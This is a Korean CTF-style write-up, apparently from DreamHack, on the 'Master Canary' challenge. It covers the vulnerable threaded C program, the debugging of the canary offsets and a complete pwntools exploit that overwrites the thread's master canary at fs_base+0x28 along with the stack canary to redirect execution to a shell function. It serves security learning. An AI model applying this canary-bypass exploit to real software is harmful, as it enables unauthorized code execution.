Hacking/DreamHack

Master Canary

SurTesterS 2024. 8. 13. 22:28

보호기법 확인

NX, Canary Enable 되어 있음

 

코드 확인

// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void read_bytes(char *buf, int size) {
  int i;

  for (i = 0; i < size; i++)
    if (read(0, buf + i*8, 8) < 8)
      return;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

 

giveshell 함수를 이용할 것으로 보이며, 이 함수로 RIP를 조작하여 셸을 얻을 수 있을 것으로 보인다. 

main 함수에서는 thread_routine 함수를 실행하는 새로운 스레드를 생성한다.

 

디버깅 수행

read_bytes buf 배열의 시작 주소는 rbp-0x110 이다. 

스택 카나리는 rbp 다음에 8byte push 되므로, 상대적인 오프셋은 rbp-0x108 이다.

버퍼의 시작주소는 0x7ffff7dc6dc0이며,

canary 값은 fs세그먼트의 +0x28의 값을 복사해온다. 위와 같다.

 

결론

fs_base+0x28의 값과 현재 rbp위에 push된 canary의 값을 덮어주고, RIP에 giveshell의 주소를 넣으면 셸을 얻을 수 있다.

 


Exploit Code

# Name: mc_thread.py
from pwn import *
context.log_level='debug'

#p = remote('host3.dreamhack.games', 13324)
p = process("./mc_thread")
e = ELF('./mc_thread')

giveshell = e.sym['giveshell']
#print(hex(giveshell))

payload = b"A"*264
payload += b"A"*8 # canary
payload += b"B"*8
payload += p64(giveshell)
payload += b"A"*(0x928-len(payload))
payload += p64(0x4141414141414141) # master canary

inp_sz = len(payload)

p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)

p.interactive()